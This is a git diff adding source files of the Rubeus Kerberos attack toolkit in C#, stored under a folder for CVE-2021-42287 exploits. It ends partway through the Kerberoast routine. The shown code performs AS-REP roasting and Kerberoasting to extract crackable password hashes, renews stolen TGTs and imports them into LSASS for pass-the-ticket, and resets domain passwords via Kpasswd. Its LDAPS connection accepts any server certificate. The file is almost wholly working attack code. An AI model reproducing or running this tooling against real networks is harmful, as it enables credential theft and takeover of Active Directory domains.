String.Format("{0}\\{1}", cred.Domain, cred.UserName); + directoryObject.Username = userDomain; + directoryObject.Password = cred.Password; + + // Removed credential validation check because it just caused problems and doesn't gain us anything (if invalid + // credentials are specified, the LDAP search will fail with "Logon failure: bad username or password" anyway) + + //string contextTarget = ""; + //if (!string.IsNullOrEmpty(domainController)) + //{ + // contextTarget = domainController; + //} + //else + //{ + // contextTarget = cred.Domain; + //} + + //using (PrincipalContext pc = new PrincipalContext(ContextType.Domain, contextTarget)) + //{ + // if (!pc.ValidateCredentials(cred.UserName, cred.Password)) + // { + // throw new Exception(String.Format("\r\n[X] Credentials supplied for '{0}' are invalid!", userDomain)); + // } + // else + // { + // Console.WriteLine("[*] Using alternate creds : {0}", userDomain); + // } + //} + } + + if(directoryObject != null) + { + directoryObject.AuthenticationType = AuthenticationTypes.Secure | AuthenticationTypes.Sealing | AuthenticationTypes.Signing; + } + + return directoryObject; + } + + public static List> GetLdapQuery(System.Net.NetworkCredential cred, string OUName, string domainController, string domain, string filter, bool ldaps = false) + { + var ActiveDirectoryObjects = new List>(); + if (String.IsNullOrEmpty(domainController)) + { + domainController = Networking.GetDCName(domain); //if domain is null, this will try to find a DC in current user's domain + } + if (String.IsNullOrEmpty(domainController)) + { + Console.WriteLine("[X] Unable to retrieve the domain information, try again with '/domain'."); + return null; + } + + if (ldaps) + { + LdapConnection ldapConnection = null; + SearchResponse response = null; + List result = new List(); + // perhaps make this dynamic? + int maxResultsToRequest = 1000; + + try + { + var serverId = new LdapDirectoryIdentifier(domainController, 636); + ldapConnection = new LdapConnection(serverId, cred); + ldapConnection.SessionOptions.SecureSocketLayer = true; + ldapConnection.SessionOptions.VerifyServerCertificate += delegate { return true; }; + ldapConnection.Bind(); + } + catch (Exception ex) + { + if (ex.InnerException != null) + { + Console.WriteLine("[X] Error binding to LDAP server: {0}", ex.InnerException.Message); + } + else + { + Console.WriteLine("[X] Error binding to LDAP server: {0}", ex.Message); + } + return null; + } + + if (String.IsNullOrEmpty(OUName)) + { + OUName = String.Format("DC={0}", domain.Replace(".", ",DC=")); + } + + try + { + Console.WriteLine("[*] Searching path '{0}' for '{1}'", OUName, filter); + PageResultRequestControl pageRequestControl = new PageResultRequestControl(maxResultsToRequest); + PageResultResponseControl pageResponseControl; + SearchRequest request = new SearchRequest(OUName, filter, SearchScope.Subtree, null); + request.Controls.Add(pageRequestControl); + while (true) + { + response = (SearchResponse)ldapConnection.SendRequest(request); + foreach (SearchResultEntry entry in response.Entries) + { + result.Add(entry); + } + pageResponseControl = (PageResultResponseControl)response.Controls[0]; + if (pageResponseControl.Cookie.Length == 0) + break; + pageRequestControl.Cookie = pageResponseControl.Cookie; + } + } + catch (Exception ex) + { + Console.WriteLine("[X] Error executing LDAP query: {0}", ex.Message); + } + + if (response.ResultCode == ResultCode.Success) + { + ActiveDirectoryObjects = Helpers.GetADObjects(result); + } + } + else + { + DirectoryEntry directoryObject = null; + DirectorySearcher searcher = null; + try + { + directoryObject = Networking.GetLdapSearchRoot(cred, OUName, domainController, domain); + searcher = new DirectorySearcher(directoryObject); + // enable LDAP paged search to get all results, by pages of 1000 items + searcher.PageSize = 1000; + } + catch (Exception ex) + { + if (ex.InnerException != null) + { + Console.WriteLine("[X] Error creating the domain searcher: {0}", ex.InnerException.Message); + } + else + { + Console.WriteLine("[X] Error creating the domain searcher: {0}", ex.Message); + } + return null; + } + + // check to ensure that the bind worked correctly + try + { + string dirPath = directoryObject.Path; + if (String.IsNullOrEmpty(dirPath)) + { + Console.WriteLine("[*] Searching the current domain for '{0}'", filter); + } + else + { + Console.WriteLine("[*] Searching path '{0}' for '{1}'", dirPath, filter); + } + } + catch (DirectoryServicesCOMException ex) + { + if (!String.IsNullOrEmpty(OUName)) + { + Console.WriteLine("\r\n[X] Error validating the domain searcher for bind path \"{0}\" : {1}", OUName, ex.Message); + } + else + { + Console.WriteLine("\r\n[X] Error validating the domain searcher: {0}", ex.Message); + } + return null; + } + + try + { + searcher.Filter = filter; + } + catch (Exception ex) + { + Console.WriteLine("[X] Error settings the domain searcher filter: {0}", ex.InnerException.Message); + return null; + } + + SearchResultCollection results = null; + + try + { + results = searcher.FindAll(); + + if (results.Count == 0) + { + Console.WriteLine("[X] No results returned by LDAP!"); + return null; + } + } + catch (Exception ex) + { + if (ex.InnerException != null) + { + Console.WriteLine("[X] Error executing the domain searcher: {0}", ex.InnerException.Message); + } + else + { + Console.WriteLine("[X] Error executing the domain searcher: {0}", ex.Message); + } + return null; + } + ActiveDirectoryObjects = Helpers.GetADObjects(results); + } + + return ActiveDirectoryObjects; + } + + // implementation adapted from https://github.com/tevora-threat/SharpView + public static Dictionary> GetGptTmplContent(string path, string user = null, string password = null) + { + Dictionary> IniObject = new Dictionary>(); + string sysvolPath = String.Format("\\\\{0}\\SYSVOL", (new System.Uri(path).Host)); + + int result = AddRemoteConnection(null, sysvolPath, user, password); + if (result != (int)Interop.SystemErrorCodes.ERROR_SUCCESS) + { + return null; + } + + if (System.IO.File.Exists(path)) + { + var content = File.ReadAllLines(path); + var CommentCount = 0; + var Section = ""; + foreach (var line in content) + { + if (Regex.IsMatch(line, @"^\[(.+)\]")) + { + Section = Regex.Split(line, @"^\[(.+)\]")[1].Trim(); + Section = Regex.Replace(Section, @"\s+", ""); + IniObject[Section] = new Dictionary(); + CommentCount = 0; + } + else if (Regex.IsMatch(line, @"^(;.*)$")) + { + var Value = Regex.Split(line, @"^(;.*)$")[1].Trim(); + CommentCount = CommentCount + 1; + var Name = @"Comment" + CommentCount; + IniObject[Section][Name] = Value; + } + else if (Regex.IsMatch(line, @"(.+?)\s*=(.*)")) + { + var matches = Regex.Split(line, @"="); + var Name = Regex.Replace(matches[0].Trim(), @"\s+", ""); + var Value = Regex.Replace(matches[1].Trim(), @"\s+", ""); + // var Values = Value.Split(',').Select(x => x.Trim()); + + // if ($Values -isnot [System.Array]) { $Values = @($Values) } + + IniObject[Section][Name] = Value; + } + } + } + + result = RemoveRemoteConnection(null, sysvolPath); + + return IniObject; + } + + public static int AddRemoteConnection(string host = null, string path = null, string user = null, string password = null) + { + var NetResourceInstance = Activator.CreateInstance(typeof(Interop.NetResource)) as Interop.NetResource; + List paths = new List(); + int returnResult = 0; + + if (host != null) + { + string targetComputerName = host.Trim('\\'); + paths.Add(String.Format("\\\\{0}\\IPC$", targetComputerName)); + } + else + { + paths.Add(path); + } + + foreach (string targetPath in paths) + { + NetResourceInstance.RemoteName = targetPath; + NetResourceInstance.ResourceType = Interop.ResourceType.Disk; + + NetResourceInstance.RemoteName = targetPath; + + Console.WriteLine("[*] Attempting to mount: {0}", targetPath); + + + int result = Interop.WNetAddConnection2(NetResourceInstance, password, user, 4); + + if (result == (int)Interop.SystemErrorCodes.ERROR_SUCCESS) + { + Console.WriteLine("[*] {0} successfully mounted", targetPath); + } + else + { + Console.WriteLine("[X] Error mounting {0} error code {1} ({2})", targetPath, (Interop.SystemErrorCodes)result, result); + returnResult = result; + } + } + return returnResult; + } + + public static int RemoveRemoteConnection(string host = null, string path = null) + { + + List paths = new List(); + int returnResult = 0; + + if (host != null) + { + string targetComputerName = host.Trim('\\'); + paths.Add(String.Format("\\\\{0}\\IPC$", targetComputerName)); + } + else + { + paths.Add(path); + } + + foreach (string targetPath in paths) + { + Console.WriteLine("[*] Attempting to unmount: {0}", targetPath); + int result = Interop.WNetCancelConnection2(targetPath, 0, true); + + if (result == 0) + { + Console.WriteLine("[*] {0} successfully unmounted", targetPath); + } + else + { + Console.WriteLine("[X] Error unmounting {0}", targetPath); + returnResult = result; + } + } + return returnResult; + } + } +} + diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/Renew.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/Renew.cs new file mode 100644 index 0000000..b41077a --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/Renew.cs @@ -0,0 +1,203 @@ +using System; +using System.IO; +using System.Linq; +using Asn1; +using Rubeus.lib.Interop; + + +namespace Rubeus +{ + public class Renew + { + public static void TGTAutoRenew(KRB_CRED kirbi, string domainController = "", bool display = true) + { + KRB_CRED currentKirbi = kirbi; + + while (true) + { + // extract out the info needed for the TGS-REQ/AP-REQ renewal + string userName = currentKirbi.enc_part.ticket_info[0].pname.name_string[0]; + string domain = currentKirbi.enc_part.ticket_info[0].prealm; + Console.WriteLine("\r\n\r\n[*] User : {0}@{1}", userName, domain); + + DateTime endTime = TimeZone.CurrentTimeZone.ToLocalTime(currentKirbi.enc_part.ticket_info[0].endtime); + DateTime renewTill = TimeZone.CurrentTimeZone.ToLocalTime(currentKirbi.enc_part.ticket_info[0].renew_till); + Console.WriteLine("[*] endtime : {0}", endTime); + Console.WriteLine("[*] renew-till : {0}", renewTill); + + if (endTime > renewTill) + { + Console.WriteLine("\r\n[*] renew-till window ({0}) has passed.\r\n", renewTill); + return; + } + else + { + double ticks = (endTime - DateTime.Now).Ticks; + if (ticks < 0) + { + Console.WriteLine("\r\n[*] endtime is ({0}) has passed, no renewal possible.\r\n", endTime); + return; + } + + // get the window to sleep until the next endtime for the ticket, -30 minutes for a window + double sleepMinutes = TimeSpan.FromTicks((endTime - DateTime.Now).Ticks).TotalMinutes - 30; + + Console.WriteLine("[*] Sleeping for {0} minutes (endTime-30) before the next renewal", (int)sleepMinutes); + System.Threading.Thread.Sleep((int)sleepMinutes * 60 * 1000); + + Console.WriteLine("[*] Renewing TGT for {0}@{1}\r\n", userName, domain); + byte[] bytes = TGT(currentKirbi, null, false, domainController, true); + currentKirbi = new KRB_CRED(bytes); + } + } + } + + public static byte[] TGT(KRB_CRED kirbi, string outfile = "", bool ptt = false, string domainController = "", bool display = true) + { + // extract out the info needed for the TGS-REQ/AP-REQ renewal + string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; + string domain = kirbi.enc_part.ticket_info[0].prealm; + Ticket ticket = kirbi.tickets[0]; + byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; + Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; + + // request the new TGT renewal + return TGT(userName, domain, ticket, clientKey, etype, outfile, ptt, domainController, display); + } + + public static byte[] TGT(string userName, string domain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", bool display = true) + { + string dcIP = Networking.GetDCIP(domainController, display, domain); + if (String.IsNullOrEmpty(dcIP)) { return null; } + + if (display) + { + Console.WriteLine("[*] Building TGS-REQ renewal for: '{0}\\{1}'", domain, userName); + } + + byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, "krbtgt", providedTicket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, true, ""); + + byte[] response = Networking.SendBytes(dcIP.ToString(), 88, tgsBytes); + if(response == null) + { + return null; + } + + // decode the supplied bytes to an AsnElt object + // false == ignore trailing garbage + AsnElt responseAsn = AsnElt.Decode(response, false); + + // check the response value + int responseTag = responseAsn.TagValue; + + if (responseTag == 13) + { + Console.WriteLine("[+] TGT renewal request successful!"); + + // parse the response to an TGS-REP + TGS_REP rep = new TGS_REP(responseAsn); + + // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62 + byte[] outBytes = Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher); + AsnElt ae = AsnElt.Decode(outBytes, false); + EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); + + // now build the final KRB-CRED structure + KRB_CRED cred = new KRB_CRED(); + + // add the ticket + cred.tickets.Add(rep.ticket); + + // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart + + KrbCredInfo info = new KrbCredInfo(); + + // [0] add in the session key + info.key.keytype = encRepPart.key.keytype; + info.key.keyvalue = encRepPart.key.keyvalue; + + // [1] prealm (domain) + info.prealm = encRepPart.realm; + + // [2] pname (user) + info.pname.name_type = rep.cname.name_type; + info.pname.name_string = rep.cname.name_string; + + // [3] flags + info.flags = encRepPart.flags; + + // [4] authtime (not required) + + // [5] starttime + info.starttime = encRepPart.starttime; + + // [6] endtime + info.endtime = encRepPart.endtime; + + // [7] renew-till + info.renew_till = encRepPart.renew_till; + + // [8] srealm + info.srealm = encRepPart.realm; + + // [9] sname + info.sname.name_type = encRepPart.sname.name_type; + info.sname.name_string = encRepPart.sname.name_string; + + // add the ticket_info into the cred object + cred.enc_part.ticket_info.Add(info); + + byte[] kirbiBytes = cred.Encode().Encode(); + + string kirbiString = Convert.ToBase64String(kirbiBytes); + + if (display) + { + Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString); + if (Rubeus.Program.wrapTickets) + { + // display the .kirbi base64, columns of 80 chararacters + foreach (string line in Helpers.Split(kirbiString, 80)) + { + Console.WriteLine(" {0}", line); + } + } + else + { + Console.WriteLine(" {0}", kirbiString); + } + } + + if (!String.IsNullOrEmpty(outfile)) + { + outfile = Helpers.MakeValidFileName(outfile); + if (Helpers.WriteBytesToFile(outfile, kirbiBytes)) + { + if (display) + { + Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile); + } + } + } + + if (ptt) + { + // pass-the-ticket -> import into LSASS + LSA.ImportTicket(kirbiBytes, new LUID()); + } + return kirbiBytes; + } + else if (responseTag == 30) + { + // parse the response to an KRB-ERROR + KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); + Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); + } + else + { + Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); + } + return null; + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/Reset.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/Reset.cs new file mode 100644 index 0000000..14dc632 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/Reset.cs @@ -0,0 +1,202 @@ +using System; +using System.IO; +using System.Linq; +using System.Net; +using System.Text; +using Asn1; + +namespace Rubeus +{ + public class Reset + { + [Flags] + enum PasswordProperties { + Complex = 0x1, + NoAnonChange = 0x2, + NoClearChange = 0x4, + LockoutAdmins = 0x8, + StoreCleartext = 0x10, + RefusePasswordChange = 0x20 + } + + public static void UserPassword(KRB_CRED kirbi, string newPassword, string domainController = "", string targetUser = null) + { + // implements the Kerberos-based password reset originally disclosed by Aorato + // This function is misc::changepw in Kekeo + // Takes a valid TGT .kirbi and builds a MS Kpasswd password change sequence + // AP-REQ with randomized sub session key + // KRB-PRIV structure containing ChangePasswdData, enc w/ the sub session key + // reference: Microsoft Windows 2000 Kerberos Change Password and Set Password Protocols (RFC3244) + + string dcIP = Networking.GetDCIP(domainController); + if (String.IsNullOrEmpty(dcIP)) { return; } + + // extract the user and domain from the existing .kirbi ticket + string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; + string userDomain = kirbi.enc_part.ticket_info[0].prealm; + + if (targetUser == null) { + Console.WriteLine("[*] Changing password for user: {0}@{1}", userName, userDomain); + } else { + Console.WriteLine("[*] Resetting password for target user: {0}", targetUser); + } + + Console.WriteLine("[*] New password value: {0}", newPassword); + + // build the AP_REQ using the user ticket's keytype and key + Console.WriteLine("[*] Building AP-REQ for the MS Kpassword request"); + AP_REQ ap_req = new AP_REQ(userDomain, userName, kirbi.tickets[0], kirbi.enc_part.ticket_info[0].key.keyvalue, (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype, Interop.KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR); + + // create a new session subkey for the Authenticator and match the encryption type of the user key + Console.WriteLine("[*] Building Authenticator with encryption key type: {0}", (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype); + ap_req.authenticator.subkey = new EncryptionKey(); + ap_req.authenticator.subkey.keytype = kirbi.enc_part.ticket_info[0].key.keytype; + + // generate a random session subkey + Random random = new Random(); + byte[] randKeyBytes; + Interop.KERB_ETYPE randKeyEtype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; + if (randKeyEtype == Interop.KERB_ETYPE.rc4_hmac) + { + randKeyBytes = new byte[16]; + random.NextBytes(randKeyBytes); + ap_req.authenticator.subkey.keyvalue = randKeyBytes; + } + else if (randKeyEtype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1) + { + randKeyBytes = new byte[32]; + random.NextBytes(randKeyBytes); + ap_req.authenticator.subkey.keyvalue = randKeyBytes; + } + else + { + Console.WriteLine("[X] Only rc4_hmac and aes256_cts_hmac_sha1 key hashes supported at this time!"); + return; + } + + Console.WriteLine("[*] base64(session subkey): {0}", Convert.ToBase64String(randKeyBytes)); + + // randKeyBytes is now the session key used for the KRB-PRIV structure + + var rand = new Random(); + ap_req.authenticator.seq_number = (UInt32)rand.Next(1, Int32.MaxValue); + + // now build the KRV-PRIV structure + Console.WriteLine("[*] Building the KRV-PRIV structure"); + KRB_PRIV changePriv = new KRB_PRIV(randKeyEtype, randKeyBytes); + + // the new password to set for the user + if (targetUser != null) { + var userParts = targetUser.Split('\\'); + if(userParts.Length != 2) { + Console.WriteLine("[X] /targetuser should be in the format domain.com\\username!"); + return; + } + changePriv.enc_part = new EncKrbPrivPart(userParts[1], userParts[0].ToUpper(), newPassword, "lol"); + } else { + changePriv.enc_part = new EncKrbPrivPart(newPassword, "lol"); + } + + // now build the final MS Kpasswd request + byte[] apReqBytes = ap_req.Encode().Encode(); + byte[] changePrivBytes = changePriv.Encode().Encode(); + + short messageLength = (short)(apReqBytes.Length + changePrivBytes.Length + 6); + short version = -128; + + BinaryWriter bw = new BinaryWriter(new MemoryStream()); + + //Message Length + bw.Write(IPAddress.NetworkToHostOrder(messageLength)); + + // Version (Reply) + bw.Write(IPAddress.NetworkToHostOrder(version)); + + //AP_REQ Length + bw.Write(IPAddress.NetworkToHostOrder((short)apReqBytes.Length)); + + //AP_REQ + bw.Write(apReqBytes); + + //KRV-PRIV + bw.Write(changePrivBytes); + + // KPASSWD_DEFAULT_PORT = 464 + byte[] response = Networking.SendBytes(dcIP, 464, ((MemoryStream)bw.BaseStream).ToArray()); + if (response == null) + { + return; + } + + try + { + AsnElt responseAsn = AsnElt.Decode(response, false); + + // check the response value + int responseTag = responseAsn.TagValue; + + if (responseTag == 30) + { + // parse the response to an KRB-ERROR + KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); + Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); + return; + } + } + catch { } + + // otherwise parse the resulting KRB-PRIV from the server + BinaryReader br = new BinaryReader(new MemoryStream(response)); + short respMsgLen = IPAddress.NetworkToHostOrder(br.ReadInt16()); + short respVersion = IPAddress.NetworkToHostOrder(br.ReadInt16()); + short respAPReqLen = IPAddress.NetworkToHostOrder(br.ReadInt16()); + byte[] respAPReq = br.ReadBytes(respAPReqLen); + byte[] respKRBPriv = br.ReadBytes((int)(br.BaseStream.Length - br.BaseStream.Position)); + + // decode the KRB-PRIV response + AsnElt respKRBPrivAsn = AsnElt.Decode(respKRBPriv, false); + + foreach(AsnElt elem in respKRBPrivAsn.Sub[0].Sub) + { + if(elem.TagValue == 3) + { + byte[] encBytes = elem.Sub[0].Sub[1].GetOctetString(); + byte[] decBytes = Crypto.KerberosDecrypt(randKeyEtype, Interop.KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART, randKeyBytes, encBytes); + AsnElt decBytesAsn = AsnElt.Decode(decBytes, false); + + byte[] responseCodeBytes = decBytesAsn.Sub[0].Sub[0].Sub[0].GetOctetString(); + + br = new BinaryReader(new MemoryStream(responseCodeBytes)); + short resultCode = IPAddress.NetworkToHostOrder(br.ReadInt16()); + if (resultCode == 0) + { + Console.WriteLine("[+] Password change success!"); + } + else + { + byte[] resultMessage = br.ReadBytes((int)(br.BaseStream.Length - br.BaseStream.Position)); + string resultError = ""; + + if (resultMessage.Length > 2) { + if (resultMessage[0] == 0 && resultMessage[1] == 0) { + br = new BinaryReader(new MemoryStream(resultMessage)); + br.ReadUInt16(); + int minPasswordLen = IPAddress.NetworkToHostOrder(br.ReadInt32()); + int passwordHistory = IPAddress.NetworkToHostOrder(br.ReadInt32()); + PasswordProperties pprops = (PasswordProperties)IPAddress.NetworkToHostOrder((br.ReadInt32())); + TimeSpan expire = TimeSpan.FromTicks(IPAddress.NetworkToHostOrder(br.ReadInt64())); + TimeSpan min_passwordage = TimeSpan.FromTicks(IPAddress.NetworkToHostOrder(br.ReadInt64())); + resultError = $"Policy: \n\tMinimum Length: {minPasswordLen}\n\tPassword History: {passwordHistory}\n\tFlags: {pprops}\n\tExpiry: {expire:%d} day(s)\n\tMinimum Password Age: {min_passwordage:%d} day(s)"; + + } else { + resultError = Encoding.UTF8.GetString(resultMessage); + } + } + + Console.WriteLine("[X] Password change error: {0} {1}", (Interop.KADMIN_PASSWD_ERR)resultCode, resultError); + } + } + } + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/Roast.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/Roast.cs new file mode 100644 index 0000000..b2de6a7 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/Roast.cs @@ -0,0 +1,841 @@ +using System; +using Asn1; +using System.IO; +using ConsoleTables; +using System.Text.RegularExpressions; +using System.Security.Principal; +using System.DirectoryServices; +using System.DirectoryServices.AccountManagement; +using System.Collections.Generic; +using Rubeus.lib.Interop; + +namespace Rubeus +{ + public class Roast + { + public static void ASRepRoast(string domain, string userName = "", string OUName = "", string domainController = "", string format = "john", System.Net.NetworkCredential cred = null, string outFile = "", string ldapFilter = "", bool ldaps = false) + { + if (!String.IsNullOrEmpty(userName)) + { + Console.WriteLine("[*] Target User : {0}", userName); + } + if (!String.IsNullOrEmpty(OUName)) + { + Console.WriteLine("[*] Target OU : {0}", OUName); + } + if (!String.IsNullOrEmpty(domain)) + { + Console.WriteLine("[*] Target Domain : {0}", domain); + } + if (!String.IsNullOrEmpty(domainController)) + { + Console.WriteLine("[*] Target DC : {0}", domainController); + } + + Console.WriteLine(); + + if (!String.IsNullOrEmpty(userName) && !String.IsNullOrEmpty(domain) && !String.IsNullOrEmpty(domainController)) + { + // if we have a username, domain, and DC specified, we don't need to search for users and can roast directly + GetASRepHash(userName, domain, domainController, format, outFile); + } + else + { + string userSearchFilter = ""; + + if (String.IsNullOrEmpty(userName)) + { + userSearchFilter = "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))"; + } + else + { + userSearchFilter = String.Format("(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304)(samAccountName={0}))", userName); + } + if (!String.IsNullOrEmpty(ldapFilter)) + { + userSearchFilter = String.Format("(&{0}({1}))", userSearchFilter, ldapFilter); + } + + if (String.IsNullOrEmpty(domain)) + { + domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain().Name; + } + List> users = Networking.GetLdapQuery(cred, OUName, domainController, domain, userSearchFilter, ldaps); + + if (users == null) + { + Console.WriteLine("[X] Error during executing the LDAP query."); + return; + } + if (users.Count == 0) + { + Console.WriteLine("[X] No users found to AS-REP roast!"); + } + + foreach (IDictionary user in users) + { + string samAccountName = (string)user["samaccountname"]; + string distinguishedName = (string)user["distinguishedname"]; + Console.WriteLine("[*] SamAccountName : {0}", samAccountName); + Console.WriteLine("[*] DistinguishedName : {0}", distinguishedName); + + GetASRepHash(samAccountName, domain, domainController, format, outFile); + } + } + + if (!String.IsNullOrEmpty(outFile)) + { + Console.WriteLine("[*] Roasted hashes written to : {0}", Path.GetFullPath(outFile)); + } + } + + public static void GetASRepHash(string userName, string domain, string domainController = "", string format = "", string outFile = "") + { + // roast AS-REPs for users without pre-authentication enabled + + string dcIP = Networking.GetDCIP(domainController, true, domain); + if (String.IsNullOrEmpty(dcIP)) { return; } + + Console.WriteLine("[*] Building AS-REQ (w/o preauth) for: '{0}\\{1}'", domain, userName); + byte[] reqBytes = AS_REQ.NewASReq(userName, domain, Interop.KERB_ETYPE.rc4_hmac).Encode().Encode(); + + byte[] response = Networking.SendBytes(dcIP, 88, reqBytes); + if (response == null) + { + return; + } + + // decode the supplied bytes to an AsnElt object + // false == ignore trailing garbage + AsnElt responseAsn = AsnElt.Decode(response, false); + + // check the response value + int responseTag = responseAsn.TagValue; + + if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.AS_REP) + { + Console.WriteLine("[+] AS-REQ w/o preauth successful!"); + + // parse the response to an AS-REP + AS_REP rep = new AS_REP(response); + + // output the hash of the encrypted KERB-CRED in a crackable hash form + string repHash = BitConverter.ToString(rep.enc_part.cipher).Replace("-", string.Empty); + repHash = repHash.Insert(32, "$"); + + string hashString = ""; + if (format == "john") + { + hashString = String.Format("$krb5asrep${0}@{1}:{2}", userName, domain, repHash); + } + else if (format == "hashcat") + { + hashString = String.Format("$krb5asrep$23${0}@{1}:{2}", userName, domain, repHash); + } + else + { + Console.WriteLine("Please provide a cracking format."); + } + + if (!String.IsNullOrEmpty(outFile)) + { + string outFilePath = Path.GetFullPath(outFile); + try + { + File.AppendAllText(outFilePath, hashString + Environment.NewLine); + } + catch (Exception e) + { + Console.WriteLine("Exception: {0}", e.Message); + } + Console.WriteLine("[*] Hash written to {0}\r\n", outFilePath); + } + else + { + Console.WriteLine("[*] AS-REP hash:\r\n"); + + // display the base64 of a hash, columns of 80 chararacters + if (Rubeus.Program.wrapTickets) + { + foreach (string line in Helpers.Split(hashString, 80)) + { + Console.WriteLine(" {0}", line); + } + } + else + { + Console.WriteLine(" {0}", hashString); + } + Console.WriteLine(); + } + } + else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) + { + // parse the response to an KRB-ERROR + KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); + Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); + } + else + { + Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); + } + } + + public static void Kerberoast(string spn = "", List spns = null, string userName = "", string OUName = "", string domain = "", string dc = "", System.Net.NetworkCredential cred = null, string outFile = "", bool simpleOutput = false, KRB_CRED TGT = null, bool useTGTdeleg = false, string supportedEType = "rc4", string pwdSetAfter = "", string pwdSetBefore = "", string ldapFilter = "", int resultLimit = 0, int delay = 0, int jitter = 0, bool userStats = false, bool enterprise = false, bool autoenterprise = false, bool ldaps = false) + { + if (userStats) + { + Console.WriteLine("[*] Listing statistics about target users, no ticket requests being performed."); + } + else if (TGT != null) + { + Console.WriteLine("[*] Using a TGT /ticket to request service tickets"); + } + else if (useTGTdeleg || String.Equals(supportedEType, "rc4opsec")) + { + Console.WriteLine("[*] Using 'tgtdeleg' to request a TGT for the current user"); + byte[] delegTGTbytes = LSA.RequestFakeDelegTicket("", false); + TGT = new KRB_CRED(delegTGTbytes); + Console.WriteLine("[*] RC4_HMAC will be the requested for AES-enabled accounts, all etypes will be requested for everything else"); + } + else + { + Console.WriteLine("[*] NOTICE: AES hashes will be returned for AES-enabled accounts."); + Console.WriteLine("[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.\r\n"); + } + + if ((enterprise) && ((TGT == null) || ((String.IsNullOrEmpty(spn)) && (spns != null) && (spns.Count == 0)))) + { + Console.WriteLine("[X] To use Enterprise Principals, /spn or /spns has to be specified, along with either /ticket or /tgtdeleg"); + return; + } + + if(delay != 0) + { + Console.WriteLine($"[*] Using a delay of {delay} milliseconds between TGS requests."); + if(jitter != 0) + { + Console.WriteLine($"[*] Using a jitter of {jitter}% between TGS requests."); + } + Console.WriteLine(); + } + + if (!String.IsNullOrEmpty(spn)) + { + Console.WriteLine("\r\n[*] Target SPN : {0}", spn); + + if (TGT != null) + { + // if a TGT .kirbi is supplied, use that for the request + // this could be a passed TGT or if TGT delegation is specified + GetTGSRepHash(TGT, spn, "USER", "DISTINGUISHEDNAME", outFile, simpleOutput, enterprise, dc, Interop.KERB_ETYPE.rc4_hmac); + } + else + { + // otherwise use the KerberosRequestorSecurityToken method + GetTGSRepHash(spn, "USER", "DISTINGUISHEDNAME", cred, outFile); + } + } + else if ((spns != null) && (spns.Count != 0)) + { + foreach (string s in spns) + { + Console.WriteLine("\r\n[*] Target SPN : {0}", s); + + if (TGT != null) + { + // if a TGT .kirbi is supplied, use that for the request + // this could be a passed TGT or if TGT delegation is specified + GetTGSRepHash(TGT, s, "USER", "DISTINGUISHEDNAME", outFile, simpleOutput, enterprise, dc, Interop.KERB_ETYPE.rc4_hmac); + } + else + { + // otherwise use the KerberosRequestorSecurityToken method + GetTGSRepHash(s, "USER", "DISTINGUISHEDNAME", cred, outFile); + } + } + } + else + { + if ((!String.IsNullOrEmpty(domain)) || (!String.IsNullOrEmpty(OUName)) || (!String.IsNullOrEmpty(userName))) + { + if (!String.IsNullOrEmpty(userName)) + { + if (userName.Contains(",")) + { + Console.WriteLine("[*] Target Users : {0}", userName); + } + else + { + Console.WriteLine("[*] Target User : {0}", userName); + } + } + if (!String.IsNullOrEmpty(domain)) + { + Console.WriteLine("[*] Target Domain : {0}", domain); + } + if (!String.IsNullOrEmpty(OUName)) + { + Console.WriteLine("[*] Target OU : {0}", OUName); + } + } + + // inject ticket for LDAP search if supplied + if (TGT != null) + { + byte[] kirbiBytes = null; + string ticketDomain = TGT.enc_part.ticket_info[0].prealm; + + if (String.IsNullOrEmpty(domain)) + { + // if a domain isn't specified, use the 